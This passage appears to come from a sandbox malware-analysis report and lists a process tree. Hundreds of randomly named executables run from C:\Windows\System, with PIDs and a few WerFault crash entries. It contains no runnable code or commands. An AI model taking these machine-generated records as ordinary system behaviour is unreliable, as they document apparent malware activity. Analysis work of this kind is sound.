  C:\Windows\System\blxRaci.exe
  2⤵
  PID:13224
- C:\Windows\System\neqvQTG.exe
  C:\Windows\System\neqvQTG.exe
  2⤵
  PID:3136
- C:\Windows\System\EqJAXxi.exe
  C:\Windows\System\EqJAXxi.exe
  2⤵
  PID:10968
- C:\Windows\System\eRlXFzU.exe
  C:\Windows\System\eRlXFzU.exe
  2⤵
  PID:11452
- C:\Windows\System\veTuvnG.exe
  C:\Windows\System\veTuvnG.exe
  2⤵
  PID:12412
- C:\Windows\System\AsVcWeG.exe
  C:\Windows\System\AsVcWeG.exe
  2⤵
  PID:12456
- C:\Windows\System\wVkoBlX.exe
  C:\Windows\System\wVkoBlX.exe
  2⤵
  PID:12484
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 12484 -s 28
    3⤵
    PID:5244
- C:\Windows\System\NrbviuB.exe
  C:\Windows\System\NrbviuB.exe
  2⤵
  PID:12544
- C:\Windows\System\xnNzTpE.exe
  C:\Windows\System\xnNzTpE.exe
  2⤵
  PID:8844
- C:\Windows\System\TgHhOmL.exe
  C:\Windows\System\TgHhOmL.exe
  2⤵
  PID:11132
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 11132 -s 28
    3⤵
    PID:5520
- C:\Windows\System\sKjJfxY.exe
  C:\Windows\System\sKjJfxY.exe
  2⤵
  PID:10816
- C:\Windows\System\JpVdZVi.exe
  C:\Windows\System\JpVdZVi.exe
  2⤵
  PID:11668
- C:\Windows\System\UrDoEaj.exe
  C:\Windows\System\UrDoEaj.exe
  2⤵
  PID:11732
- C:\Windows\System\xYXZrry.exe
  C:\Windows\System\xYXZrry.exe
  2⤵
  PID:5076
- C:\Windows\System\cAfHkXz.exe
  C:\Windows\System\cAfHkXz.exe
  2⤵
  PID:13128
- C:\Windows\System\wjIAvcN.exe
  C:\Windows\System\wjIAvcN.exe
  2⤵
  PID:12848
- C:\Windows\System\TdeDfSl.exe
  C:\Windows\System\TdeDfSl.exe
  2⤵
  PID:12864
- C:\Windows\System\NWMozsZ.exe
  C:\Windows\System\NWMozsZ.exe
  2⤵
  PID:12968
- C:\Windows\System\PYZXulM.exe
  C:\Windows\System\PYZXulM.exe
  2⤵
  PID:4436
- C:\Windows\System\cHjohhT.exe
  C:\Windows\System\cHjohhT.exe
  2⤵
  PID:12120
- C:\Windows\System\liOHiJb.exe
  C:\Windows\System\liOHiJb.exe
  2⤵
  PID:12632
- C:\Windows\System\JJzGtWF.exe
  C:\Windows\System\JJzGtWF.exe
  2⤵
  PID:12240
- C:\Windows\System\QEXyUGu.exe
  C:\Windows\System\QEXyUGu.exe
  2⤵
  PID:2088
- C:\Windows\System\AlkgDwH.exe
  C:\Windows\System\AlkgDwH.exe
  2⤵
  PID:12352
- C:\Windows\System\kgjTYRX.exe
  C:\Windows\System\kgjTYRX.exe
  2⤵
  PID:1808
- C:\Windows\System\qDyVZgC.exe
  C:\Windows\System\qDyVZgC.exe
  2⤵
  PID:11168
- C:\Windows\System\SZKcNQP.exe
  C:\Windows\System\SZKcNQP.exe
  2⤵
  PID:12580
- C:\Windows\System\EAYsfiw.exe
  C:\Windows\System\EAYsfiw.exe
  2⤵
  PID:12356
- C:\Windows\System\dxmRPmP.exe
  C:\Windows\System\dxmRPmP.exe
  2⤵
  PID:4492
- C:\Windows\System\ghtSTrO.exe
  C:\Windows\System\ghtSTrO.exe
  2⤵
  PID:11680
- C:\Windows\System\EhoAptN.exe
  C:\Windows\System\EhoAptN.exe
  2⤵
  PID:12892
- C:\Windows\System\SjxIocI.exe
  C:\Windows\System\SjxIocI.exe
  2⤵
  PID:4628
- C:\Windows\System\TbPHRwg.exe
  C:\Windows\System\TbPHRwg.exe
  2⤵
  PID:12900
- C:\Windows\System\BRQdVPL.exe
  C:\Windows\System\BRQdVPL.exe
  2⤵
  PID:4772
- C:\Windows\System\QFjMPbO.exe
  C:\Windows\System\QFjMPbO.exe
  2⤵
  PID:3256
- C:\Windows\System\mlZafRS.exe
  C:\Windows\System\mlZafRS.exe
  2⤵
  PID:13288
- C:\Windows\System\SqnBCLK.exe
  C:\Windows\System\SqnBCLK.exe
  2⤵
  PID:5460
- C:\Windows\System\TwimCrj.exe
  C:\Windows\System\TwimCrj.exe
  2⤵
  PID:884
- C:\Windows\System\AhfsUmW.exe
  C:\Windows\System\AhfsUmW.exe
  2⤵
  PID:5496
- C:\Windows\System\PVzGfSE.exe
  C:\Windows\System\PVzGfSE.exe
  2⤵
  PID:3580
- C:\Windows\System\ZPUQFGX.exe
  C:\Windows\System\ZPUQFGX.exe
  2⤵
  PID:13296
- C:\Windows\System\iQNzLhT.exe
  C:\Windows\System\iQNzLhT.exe
  2⤵
  PID:2352
- C:\Windows\System\lgdDFhO.exe
  C:\Windows\System\lgdDFhO.exe
  2⤵
  PID:3984
- C:\Windows\System\hdFRlKL.exe
  C:\Windows\System\hdFRlKL.exe
  2⤵
  PID:2380
- C:\Windows\System\eFYNoin.exe
  C:\Windows\System\eFYNoin.exe
  2⤵
  PID:12524
- C:\Windows\System\ibCEVXJ.exe
  C:\Windows\System\ibCEVXJ.exe
  2⤵
  PID:5252
- C:\Windows\System\SqksdTr.exe
  C:\Windows\System\SqksdTr.exe
  2⤵
  PID:5312
- C:\Windows\System\qmueZbA.exe
  C:\Windows\System\qmueZbA.exe
  2⤵
  PID:4100
- C:\Windows\System\bJEtMpF.exe
  C:\Windows\System\bJEtMpF.exe
  2⤵
  PID:2788
- C:\Windows\System\HrdAbfP.exe
  C:\Windows\System\HrdAbfP.exe
  2⤵
  PID:4172
- C:\Windows\System\rVutVSQ.exe
  C:\Windows\System\rVutVSQ.exe
  2⤵
  PID:1552
- C:\Windows\System\FdAAVpa.exe
  C:\Windows\System\FdAAVpa.exe
  2⤵
  PID:2116
- C:\Windows\System\cLzEnHK.exe
  C:\Windows\System\cLzEnHK.exe
  2⤵
  PID:2504
- C:\Windows\System\IAdDzAh.exe
  C:\Windows\System\IAdDzAh.exe
  2⤵
  PID:10924
- C:\Windows\System\IFwHfTC.exe
  C:\Windows\System\IFwHfTC.exe
  2⤵
  PID:5344
- C:\Windows\System\Kbtvtut.exe
  C:\Windows\System\Kbtvtut.exe
  2⤵
  PID:12668
- C:\Windows\System\ZXzOSsS.exe
  C:\Windows\System\ZXzOSsS.exe
  2⤵
  PID:5280
- C:\Windows\System\FzRRBzG.exe
  C:\Windows\System\FzRRBzG.exe
  2⤵
  PID:2432
- C:\Windows\System\YCnlUqf.exe
  C:\Windows\System\YCnlUqf.exe
  2⤵
  PID:1360
- C:\Windows\System\ryDMdEJ.exe
  C:\Windows\System\ryDMdEJ.exe
  2⤵
  PID:1420
- C:\Windows\System\UzzkTTq.exe
  C:\Windows\System\UzzkTTq.exe
  2⤵
  PID:3240
- C:\Windows\System\CXDpvWW.exe
  C:\Windows\System\CXDpvWW.exe
  2⤵
  PID:1772
- C:\Windows\System\HCqNuNl.exe
  C:\Windows\System\HCqNuNl.exe
  2⤵
  PID:1004
- C:\Windows\System\scydFjr.exe
  C:\Windows\System\scydFjr.exe
  2⤵
  PID:2032
- C:\Windows\System\RmWbwbs.exe
  C:\Windows\System\RmWbwbs.exe
  2⤵
  PID:4056
- C:\Windows\System\juIrfkO.exe
  C:\Windows\System\juIrfkO.exe
  2⤵
  PID:4804
- C:\Windows\System\tHZCIgB.exe
  C:\Windows\System\tHZCIgB.exe
  2⤵
  PID:1100
- C:\Windows\System\BSplGFQ.exe
  C:\Windows\System\BSplGFQ.exe
  2⤵
  PID:4488
- C:\Windows\System\pmrwKuZ.exe
  C:\Windows\System\pmrwKuZ.exe
  2⤵
  PID:4292
- C:\Windows\System\VeSdPMH.exe
  C:\Windows\System\VeSdPMH.exe
  2⤵
  PID:5684
- C:\Windows\System\QHwVJPZ.exe
  C:\Windows\System\QHwVJPZ.exe
  2⤵
  PID:1716
- C:\Windows\System\CfCKDun.exe
  C:\Windows\System\CfCKDun.exe
  2⤵
  PID:4548
- C:\Windows\System\vFUEjUB.exe
  C:\Windows\System\vFUEjUB.exe
  2⤵
  PID:13092
- C:\Windows\System\xtvkDYn.exe
  C:\Windows\System\xtvkDYn.exe
  2⤵
  PID:2860
- C:\Windows\System\WTqWRxa.exe
  C:\Windows\System\WTqWRxa.exe
  2⤵
  PID:3888
- C:\Windows\System\WQeNrhE.exe
  C:\Windows\System\WQeNrhE.exe
  2⤵
  PID:3228
- C:\Windows\System\asmHzzF.exe
  C:\Windows\System\asmHzzF.exe
  2⤵
  PID:4476
- C:\Windows\System\YusrAAF.exe
  C:\Windows\System\YusrAAF.exe
  2⤵
  PID:724
- C:\Windows\System\ZtGmntz.exe
  C:\Windows\System\ZtGmntz.exe
  2⤵
  PID:3592
- C:\Windows\System\Pigvtoh.exe
  C:\Windows\System\Pigvtoh.exe
  2⤵
  PID:2056
- C:\Windows\System\vJWqwhe.exe
  C:\Windows\System\vJWqwhe.exe
  2⤵
  PID:4972
- C:\Windows\System\wWPKGYo.exe
  C:\Windows\System\wWPKGYo.exe
  2⤵
  PID:3652
- C:\Windows\System\ncrgvzc.exe
  C:\Windows\System\ncrgvzc.exe
  2⤵
  PID:5436
- C:\Windows\System\BiztDbl.exe
  C:\Windows\System\BiztDbl.exe
  2⤵
  PID:5208
- C:\Windows\System\GVxFciV.exe
  C:\Windows\System\GVxFciV.exe
  2⤵
  PID:3616
- C:\Windows\System\gIkPhfs.exe
  C:\Windows\System\gIkPhfs.exe
  2⤵
  PID:5220
- C:\Windows\System\UKcvSQZ.exe
  C:\Windows\System\UKcvSQZ.exe
  2⤵
  PID:12736
- C:\Windows\System\dmsnuPd.exe
  C:\Windows\System\dmsnuPd.exe
  2⤵
  PID:5316
- C:\Windows\System\mIPFJUT.exe
  C:\Windows\System\mIPFJUT.exe
  2⤵
  PID:3912
- C:\Windows\System\cvmLecE.exe
  C:\Windows\System\cvmLecE.exe
  2⤵
  PID:3628
- C:\Windows\System\kalDyPg.exe
  C:\Windows\System\kalDyPg.exe
  2⤵
  PID:1056
- C:\Windows\System\ZXofQwC.exe
  C:\Windows\System\ZXofQwC.exe
  2⤵
  PID:10964
- C:\Windows\System\CVfWsuF.exe
  C:\Windows\System\CVfWsuF.exe
  2⤵
  PID:5140
- C:\Windows\System\qbaJbnH.exe
  C:\Windows\System\qbaJbnH.exe
  2⤵
  PID:2016
- C:\Windows\System\ugSNRVH.exe
  C:\Windows\System\ugSNRVH.exe
  2⤵
  PID:1796
- C:\Windows\System\pFcFIez.exe
  C:\Windows\System\pFcFIez.exe
  2⤵
  PID:12472
- C:\Windows\System\lqCcJOt.exe
  C:\Windows\System\lqCcJOt.exe
  2⤵
  PID:5616
- C:\Windows\System\iyQeVcP.exe
  C:\Windows\System\iyQeVcP.exe
  2⤵
  PID:12344
- C:\Windows\System\jhNhNrp.exe
  C:\Windows\System\jhNhNrp.exe
  2⤵
  PID:5688
- C:\Windows\System\dFibdMM.exe
  C:\Windows\System\dFibdMM.exe
  2⤵
  PID:3108
- C:\Windows\System\GvflyDV.exe
  C:\Windows\System\GvflyDV.exe
  2⤵
  PID:6180
- C:\Windows\System\JERKtEA.exe
  C:\Windows\System\JERKtEA.exe
  2⤵
  PID:12916
- C:\Windows\System\GEfVlUp.exe
  C:\Windows\System\GEfVlUp.exe
  2⤵
  PID:4072
- C:\Windows\System\yAqBlIm.exe
  C:\Windows\System\yAqBlIm.exe
  2⤵
  PID:3140
- C:\Windows\System\SWIntyl.exe
  C:\Windows\System\SWIntyl.exe
  2⤵
  PID:864
- C:\Windows\System\lqZzCmn.exe
  C:\Windows\System\lqZzCmn.exe
  2⤵
  PID:4036
- C:\Windows\System\epEQIQa.exe
  C:\Windows\System\epEQIQa.exe
  2⤵
  PID:5432
- C:\Windows\System\CivUIJP.exe
  C:\Windows\System\CivUIJP.exe
  2⤵
  PID:12560
- C:\Windows\System\HYafYTp.exe
  C:\Windows\System\HYafYTp.exe
  2⤵
  PID:5832
- C:\Windows\System\ofELVdi.exe
  C:\Windows\System\ofELVdi.exe
  2⤵
  PID:12904
- C:\Windows\System\JoAvcGq.exe
  C:\Windows\System\JoAvcGq.exe
  2⤵
  PID:3232
- C:\Windows\System\NGSfMIz.exe
  C:\Windows\System\NGSfMIz.exe
  2⤵
  PID:4348
- C:\Windows\System\VRmKKYx.exe
  C:\Windows\System\VRmKKYx.exe
  2⤵
  PID:1644
- C:\Windows\System\PrCNUZr.exe
  C:\Windows\System\PrCNUZr.exe
  2⤵
  PID:3640
- C:\Windows\System\wfFTOjU.exe
  C:\Windows\System\wfFTOjU.exe
  2⤵
  PID:4204
- C:\Windows\System\BNtcaCF.exe
  C:\Windows\System\BNtcaCF.exe
  2⤵
  PID:5248
- C:\Windows\System\rixMAiX.exe
  C:\Windows\System\rixMAiX.exe
  2⤵
  PID:4684
- C:\Windows\System\IShysHJ.exe
  C:\Windows\System\IShysHJ.exe
  2⤵
  PID:1584
- C:\Windows\System\eqopvLl.exe
  C:\Windows\System\eqopvLl.exe
  2⤵
  PID:4000
- C:\Windows\System\cHHsoRp.exe
  C:\Windows\System\cHHsoRp.exe
  2⤵
  PID:5396
- C:\Windows\System\tuQsTOO.exe
  C:\Windows\System\tuQsTOO.exe
  2⤵
  PID:5484
- C:\Windows\System\ODxZrML.exe
  C:\Windows\System\ODxZrML.exe
  2⤵
  PID:5368
- C:\Windows\System\nKGrUIB.exe
  C:\Windows\System\nKGrUIB.exe
  2⤵
  PID:5300
- C:\Windows\System\CuzimEO.exe
  C:\Windows\System\CuzimEO.exe
  2⤵
  PID:5892
- C:\Windows\System\EEXqFjA.exe
  C:\Windows\System\EEXqFjA.exe
  2⤵
  PID:3148
- C:\Windows\System\XqIuUZY.exe
  C:\Windows\System\XqIuUZY.exe
  2⤵
  PID:4468
- C:\Windows\System\VBeilGu.exe
  C:\Windows\System\VBeilGu.exe
  2⤵
  PID:4908
- C:\Windows\System\VaRovff.exe
  C:\Windows\System\VaRovff.exe
  2⤵
  PID:5788
- C:\Windows\System\lXeIJWW.exe
  C:\Windows\System\lXeIJWW.exe
  2⤵
  PID:5296
- C:\Windows\System\OSDInEQ.exe
  C:\Windows\System\OSDInEQ.exe
  2⤵
  PID:5184
- C:\Windows\System\VpXeuwo.exe
  C:\Windows\System\VpXeuwo.exe
  2⤵
  PID:5224
- C:\Windows\System\EgUVqye.exe
  C:\Windows\System\EgUVqye.exe
  2⤵
  PID:5736
- C:\Windows\System\kOLLfUx.exe
  C:\Windows\System\kOLLfUx.exe
  2⤵
  PID:5820
- C:\Windows\System\qSWVAfL.exe
  C:\Windows\System\qSWVAfL.exe
  2⤵
  PID:5852
- C:\Windows\System\XyRYmMp.exe
  C:\Windows\System\XyRYmMp.exe
  2⤵
  PID:5948
- C:\Windows\System\dzoarQz.exe
  C:\Windows\System\dzoarQz.exe
  2⤵
  PID:556
- C:\Windows\System\Wajizmp.exe
  C:\Windows\System\Wajizmp.exe
  2⤵
  PID:5656
- C:\Windows\System\SFuWyAI.exe
  C:\Windows\System\SFuWyAI.exe
  2⤵
  PID:6084
- C:\Windows\System\ACTSRgL.exe
  C:\Windows\System\ACTSRgL.exe
  2⤵
  PID:3648
- C:\Windows\System\IdcGvgD.exe
  C:\Windows\System\IdcGvgD.exe
  2⤵
  PID:5244
- C:\Windows\System\KKuAurj.exe
  C:\Windows\System\KKuAurj.exe
  2⤵
  PID:5644
- C:\Windows\System\bpdrYxx.exe
  C:\Windows\System\bpdrYxx.exe
  2⤵
  PID:12000
- C:\Windows\System\rdwffyL.exe
  C:\Windows\System\rdwffyL.exe
  2⤵
  PID:684
- C:\Windows\System\gEdvimH.exe
  C:\Windows\System\gEdvimH.exe
  2⤵
  PID:5968
- C:\Windows\System\HUOUSZI.exe
  C:\Windows\System\HUOUSZI.exe
  2⤵
  PID:5364
- C:\Windows\System\EvGIgDs.exe
  C:\Windows\System\EvGIgDs.exe
  2⤵
  PID:6220
- C:\Windows\System\CkLNTnl.exe
  C:\Windows\System\CkLNTnl.exe
  2⤵
  PID:5304
- C:\Windows\System\KQrvCWQ.exe
  C:\Windows\System\KQrvCWQ.exe
  2⤵
  PID:5608
- C:\Windows\System\rnORfAb.exe
  C:\Windows\System\rnORfAb.exe
  2⤵
  PID:5744
- C:\Windows\System\UORqyqp.exe
  C:\Windows\System\UORqyqp.exe
  2⤵
  PID:5940
- C:\Windows\System\WqqBmIa.exe
  C:\Windows\System\WqqBmIa.exe
  2⤵
  PID:5824
- C:\Windows\System\Rpmvvmy.exe
  C:\Windows\System\Rpmvvmy.exe
  2⤵
  PID:6392
- C:\Windows\System\DlnZvIM.exe
  C:\Windows\System\DlnZvIM.exe
  2⤵
  PID:5540
- C:\Windows\System\SvypXtm.exe
  C:\Windows\System\SvypXtm.exe
  2⤵
  PID:6108
- C:\Windows\System\GyHyeLq.exe
  C:\Windows\System\GyHyeLq.exe
  2⤵
  PID:6444
- C:\Windows\System\HriFJMp.exe
  C:\Windows\System\HriFJMp.exe
  2⤵
  PID:6104
- C:\Windows\System\FHlZKgS.exe
  C:\Windows\System\FHlZKgS.exe
  2⤵
  PID:1456
- C:\Windows\System\tgCFmsq.exe
  C:\Windows\System\tgCFmsq.exe
  2⤵
  PID:5880
- C:\Windows\System\pkpQvkQ.exe
  C:\Windows\System\pkpQvkQ.exe
  2⤵
  PID:6060
- C:\Windows\System\uLZtbAW.exe
  C:\Windows\System\uLZtbAW.exe
  2⤵
  PID:5200
- C:\Windows\System\EyoYtSB.exe
  C:\Windows\System\EyoYtSB.exe
  2⤵
  PID:6552
- C:\Windows\System\FqttqmB.exe
  C:\Windows\System\FqttqmB.exe
  2⤵
  PID:5380
- C:\Windows\System\GOMkSrq.exe
  C:\Windows\System\GOMkSrq.exe
  2⤵
  PID:2452
- C:\Windows\System\xRdRHbu.exe
  C:\Windows\System\xRdRHbu.exe
  2⤵
  PID:6004
- C:\Windows\System\TlskWMy.exe
  C:\Windows\System\TlskWMy.exe
  2⤵
  PID:6752
- C:\Windows\System\sIPueom.exe
  C:\Windows\System\sIPueom.exe
  2⤵
  PID:5336
- C:\Windows\System\IvNcCZj.exe
  C:\Windows\System\IvNcCZj.exe
  2⤵
  PID:6836
- C:\Windows\System\CSocnir.exe
  C:\Windows\System\CSocnir.exe
  2⤵
  PID:5848
- C:\Windows\System\HxHbrHZ.exe
  C:\Windows\System\HxHbrHZ.exe
  2⤵
  PID:5960
- C:\Windows\System\smsZXeV.exe
  C:\Windows\System\smsZXeV.exe
  2⤵
  PID:6196
- C:\Windows\System\zpclsNZ.exe
  C:\Windows\System\zpclsNZ.exe
  2⤵
  PID:6668
- C:\Windows\System\fnrVsio.exe
  C:\Windows\System\fnrVsio.exe
  2⤵
  PID:1392
- C:\Windows\System\nzExbBL.exe
  C:\Windows\System\nzExbBL.exe
  2⤵
  PID:6840
- C:\Windows\System\YvxReEi.exe
  C:\Windows\System\YvxReEi.exe
  2⤵
  PID:6892
- C:\Windows\System\Xquymhq.exe
  C:\Windows\System\Xquymhq.exe
  2⤵
  PID:5520
- C:\Windows\System\lctYTRo.exe
  C:\Windows\System\lctYTRo.exe
  2⤵
  PID:7144
- C:\Windows\System\ckvovVd.exe
  C:\Windows\System\ckvovVd.exe
  2⤵
  PID:6212
- C:\Windows\System\mNgjeiO.exe
  C:\Windows\System\mNgjeiO.exe
  2⤵
  PID:3268
- C:\Windows\System\BbNmlzn.exe
  C:\Windows\System\BbNmlzn.exe
  2⤵
  PID:456
- C:\Windows\System\vZRYyEA.exe
  C:\Windows\System\vZRYyEA.exe
  2⤵
  PID:5836
- C:\Windows\System\eKOTekm.exe
  C:\Windows\System\eKOTekm.exe
  2⤵
  PID:6300
- C:\Windows\System\GbABUqV.exe
  C:\Windows\System\GbABUqV.exe
  2⤵
  PID:5640
- C:\Windows\System\bdEAHAB.exe
  C:\Windows\System\bdEAHAB.exe
  2⤵
  PID:7088
- C:\Windows\System\ngWvsns.exe
  C:\Windows\System\ngWvsns.exe
  2⤵
  PID:6628
- C:\Windows\System\PxPiDdn.exe
  C:\Windows\System\PxPiDdn.exe
  2⤵
  PID:6640
- C:\Windows\System\OdBjSBr.exe
  C:\Windows\System\OdBjSBr.exe
  2⤵
  PID:5360
- C:\Windows\System\SPqANwi.exe
  C:\Windows\System\SPqANwi.exe
  2⤵
  PID:6728
- C:\Windows\System\IubfvZT.exe
  C:\Windows\System\IubfvZT.exe
  2⤵
  PID:7176
- C:\Windows\System\DmjiAzA.exe
  C:\Windows\System\DmjiAzA.exe
  2⤵
  PID:224
- C:\Windows\System\KgbshMP.exe
  C:\Windows\System\KgbshMP.exe
  2⤵
  PID:6888
- C:\Windows\System\daczhYH.exe
  C:\Windows\System\daczhYH.exe
  2⤵
  PID:5324
- C:\Windows\System\PxAEnvs.exe
  C:\Windows\System\PxAEnvs.exe
  2⤵
  PID:6856
- C:\Windows\System\jfIldas.exe
  C:\Windows\System\jfIldas.exe
  2⤵
  PID:4692
- C:\Windows\System\IuDotey.exe
  C:\Windows\System\IuDotey.exe
  2⤵
  PID:2140
- C:\Windows\System\lZXoJzq.exe
  C:\Windows\System\lZXoJzq.exe
  2⤵
  PID:12880
- C:\Windows\System\RRHBzkN.exe
  C:\Windows\System\RRHBzkN.exe
  2⤵
  PID:4572
- C:\Windows\System\yCNoelM.exe
  C:\Windows\System\yCNoelM.exe
  2⤵
  PID:6968
- C:\Windows\System\MWEpFzT.exe
  C:\Windows\System\MWEpFzT.exe
  2⤵
  PID:7344
- C:\Windows\System\sdUUvWp.exe
  C:\Windows\System\sdUUvWp.exe
  2⤵
  PID:6140
- C:\Windows\System\LVuXjhG.exe
  C:\Windows\System\LVuXjhG.exe
  2⤵
  PID:6672
- C:\Windows\System\cWFAgpN.exe
  C:\Windows\System\cWFAgpN.exe
  2⤵
  PID:7908
- C:\Windows\System\GnGXysr.exe
  C:\Windows\System\GnGXysr.exe
  2⤵
  PID:8028
- C:\Windows\System\NiBgBaO.exe
  C:\Windows\System\NiBgBaO.exe
  2⤵
  PID:8164
- C:\Windows\System\YNlWmNz.exe
  C:\Windows\System\YNlWmNz.exe
  2⤵
  PID:6684
- C:\Windows\System\reWfTTc.exe
  C:\Windows\System\reWfTTc.exe
  2⤵
  PID:6956
- C:\Windows\System\HbpuLuV.exe
  C:\Windows\System\HbpuLuV.exe
  2⤵
  PID:6832
- C:\Windows\System\mINAXMA.exe
  C:\Windows\System\mINAXMA.exe
  2⤵
  PID:6236
- C:\Windows\System\QOLBhoX.exe
  C:\Windows\System\QOLBhoX.exe
  2⤵
  PID:5452
- C:\Windows\System\ljUGTLP.exe
  C:\Windows\System\ljUGTLP.exe
  2⤵
  PID:7052
- C:\Windows\System\fZWfrxd.exe
  C:\Windows\System\fZWfrxd.exe
  2⤵
  PID:6736
- C:\Windows\System\sCwUhfN.exe
  C:\Windows\System\sCwUhfN.exe
  2⤵
  PID:7768
- C:\Windows\System\koyqYLg.exe
  C:\Windows\System\koyqYLg.exe
  2⤵
  PID:8208
- C:\Windows\System\rtVXYWg.exe
  C:\Windows\System\rtVXYWg.exe
  2⤵
  PID:6496
- C:\Windows\System\ZOVluuP.exe
  C:\Windows\System\ZOVluuP.exe
  2⤵
  PID:7848
- C:\Windows\System\dprAalc.exe
  C:\Windows\System\dprAalc.exe
  2⤵
  PID:8364
- C:\Windows\System\pUFNuge.exe
  C:\Windows\System\pUFNuge.exe
  2⤵
  PID:5932
- C:\Windows\System\WNyBaSB.exe
  C:\Windows\System\WNyBaSB.exe
  2⤵
  PID:6204
- C:\Windows\System\lTfCpKf.exe
  C:\Windows\System\lTfCpKf.exe
  2⤵
  PID:6676
- C:\Windows\System\BIJgUJt.exe
  C:\Windows\System\BIJgUJt.exe
  2⤵
  PID:8636
- C:\Windows\System\QKeyNml.exe
  C:\Windows\System\QKeyNml.exe
  2⤵
  PID:7100
- C:\Windows\System\hSkGiNR.exe
  C:\Windows\System\hSkGiNR.exe
  2⤵
  PID:6288
- C:\Windows\System\RjZomGZ.exe
  C:\Windows\System\RjZomGZ.exe
  2⤵
  PID:6364
- C:\Windows\System\yLvLcVW.exe
  C:\Windows\System\yLvLcVW.exe
  2⤵
  PID:8820
- C:\Windows\System\fDHSIdX.exe
  C:\Windows\System\fDHSIdX.exe
  2⤵
  PID:6024
- C:\Windows\System\gSbhlWy.exe
  C:\Windows\System\gSbhlWy.exe
  2⤵
  PID:6244
- C:\Windows\System\jXzmwmi.exe
  C:\Windows\System\jXzmwmi.exe
  2⤵
  PID:7012
- C:\Windows\System\skoSshp.exe
  C:\Windows\System\skoSshp.exe
  2⤵
  PID:6152
- C:\Windows\System\bnDEtIx.exe
  C:\Windows\System\bnDEtIx.exe
  2⤵
  PID:8972
- C:\Windows\System\XgFULdz.exe
  C:\Windows\System\XgFULdz.exe
  2⤵
  PID:8220
- C:\Windows\System\esSyHJl.exe
  C:\Windows\System\esSyHJl.exe
  2⤵
  PID:7952
- C:\Windows\System\LFhjnot.exe
  C:\Windows\System\LFhjnot.exe
  2⤵
  PID:8476
- C:\Windows\System\qSiITir.exe
  C:\Windows\System\qSiITir.exe
  2⤵
  PID:2192
- C:\Windows\System\BnYfRNB.exe
  C:\Windows\System\BnYfRNB.exe
  2⤵
  PID:7008
- C:\Windows\System\WiAUeNm.exe
  C:\Windows\System\WiAUeNm.exe
  2⤵
  PID:8892
- C:\Windows\System\xWEEBZk.exe
  C:\Windows\System\xWEEBZk.exe
  2⤵
  PID:7592
- C:\Windows\System\GvhSXzO.exe
  C:\Windows\System\GvhSXzO.exe
  2⤵
  PID:8320
- C:\Windows\System\gviqEhb.exe
  C:\Windows\System\gviqEhb.exe
  2⤵
  PID:6564
- C:\Windows\System\BLEWDAG.exe
  C:\Windows\System\BLEWDAG.exe
  2⤵
  PID:8756
- C:\Windows\System\LnbFTaX.exe
  C:\Windows\System\LnbFTaX.exe
  2⤵
  PID:8968
- C:\Windows\System\JHuvvEM.exe
  C:\Windows\System\JHuvvEM.exe
  2⤵
  PID:6748
- C:\Windows\System\ACySIPm.exe
  C:\Windows\System\ACySIPm.exe
  2⤵
  PID:8132
- C:\Windows\System\pvKAmaj.exe
  C:\Windows\System\pvKAmaj.exe
  2⤵
  PID:8720
- C:\Windows\System\dXaUxao.exe
  C:\Windows\System\dXaUxao.exe
  2⤵
  PID:8884
- C:\Windows\System\aLnhSzA.exe
  C:\Windows\System\aLnhSzA.exe
  2⤵
  PID:8660
- C:\Windows\System\woRctOk.exe
  C:\Windows\System\woRctOk.exe
  2⤵
  PID:9212
- C:\Windows\System\qDhBPWN.exe
  C:\Windows\System\qDhBPWN.exe
  2⤵
  PID:9108
- C:\Windows\System\kQKWjqt.exe
  C:\Windows\System\kQKWjqt.exe
  2⤵
  PID:1720
- C:\Windows\System\YiNAuMR.exe
  C:\Windows\System\YiNAuMR.exe
  2⤵
  PID:9036
- C:\Windows\System\LKhsfCJ.exe
  C:\Windows\System\LKhsfCJ.exe
  2⤵
  PID:13316
- C:\Windows\System\ykObQcl.exe
  C:\Windows\System\ykObQcl.exe
  2⤵
  PID:13332
- C:\Windows\System\YFTWEAt.exe
  C:\Windows\System\YFTWEAt.exe
  2⤵
  PID:13348
- C:\Windows\System\bgRRLUN.exe
  C:\Windows\System\bgRRLUN.exe
  2⤵
  PID:13364
- C:\Windows\System\OlwAwNP.exe
  C:\Windows\System\OlwAwNP.exe
  2⤵
  PID:13380
- C:\Windows\System\TptFyRu.exe
  C:\Windows\System\TptFyRu.exe
  2⤵
  PID:13396
- C:\Windows\System\PuVswLR.exe
  C:\Windows\System\PuVswLR.exe
  2⤵
  PID:13412
- C:\Windows\System\sVBLNeF.exe
  C:\Windows\System\sVBLNeF.exe
  2⤵
  PID:13428
- C:\Windows\System\WehKRzz.exe
  C:\Windows\System\WehKRzz.exe
  2⤵
  PID:13444
- C:\Windows\System\iATfUoG.exe
  C:\Windows\System\iATfUoG.exe
  2⤵
  PID:13492
- C:\Windows\System\JuTJepb.exe
  C:\Windows\System\JuTJepb.exe
  2⤵
  PID:13520
- C:\Windows\System\TKQOjoM.exe
  C:\Windows\System\TKQOjoM.exe
  2⤵
  PID:13544
- C:\Windows\System\dwGACRW.exe
  C:\Windows\System\dwGACRW.exe
  2⤵
  PID:13560
- C:\Windows\System\FJRxOhb.exe
  C:\Windows\System\FJRxOhb.exe
  2⤵
  PID:13576
- C:\Windows\System\SbWfvaV.exe
  C:\Windows\System\SbWfvaV.exe
  2⤵
  PID:13596
- C:\Windows\System\dfQDetT.exe
  C:\Windows\System\dfQDetT.exe
  2⤵
  PID:13612
- C:\Windows\System\jaWrMGG.exe
  C:\Windows\System\jaWrMGG.exe
  2⤵
  PID:13628
- C:\Windows\System\bemSbqB.exe
  C:\Windows\System\bemSbqB.exe
  2⤵
  PID:13644
- C:\Windows\System\CPgcUYw.exe
  C:\Windows\System\CPgcUYw.exe
  2⤵
  PID:13660
- C:\Windows\System\ZMtnGPT.exe
  C:\Windows\System\ZMtnGPT.exe
  2⤵
  PID:13676
- C:\Windows\System\buvBRVX.exe
  C:\Windows\System\buvBRVX.exe
  2⤵
  PID:13692
- C:\Windows\System\pQYeahF.exe
  C:\Windows\System\pQYeahF.exe
  2⤵
  PID:13708
- C:\Windows\System\KWNdGzk.exe
  C:\Windows\System\KWNdGzk.exe
  2⤵
  PID:13724
- C:\Windows\System\AKVRCRG.exe
  C:\Windows\System\AKVRCRG.exe
  2⤵
  PID:13740
- C:\Windows\System\lhlkPNK.exe
  C:\Windows\System\lhlkPNK.exe
  2⤵
  PID:13776
- C:\Windows\System\iYjNnfy.exe
  C:\Windows\System\iYjNnfy.exe
  2⤵
  PID:13804
- C:\Windows\System\eOlJECT.exe
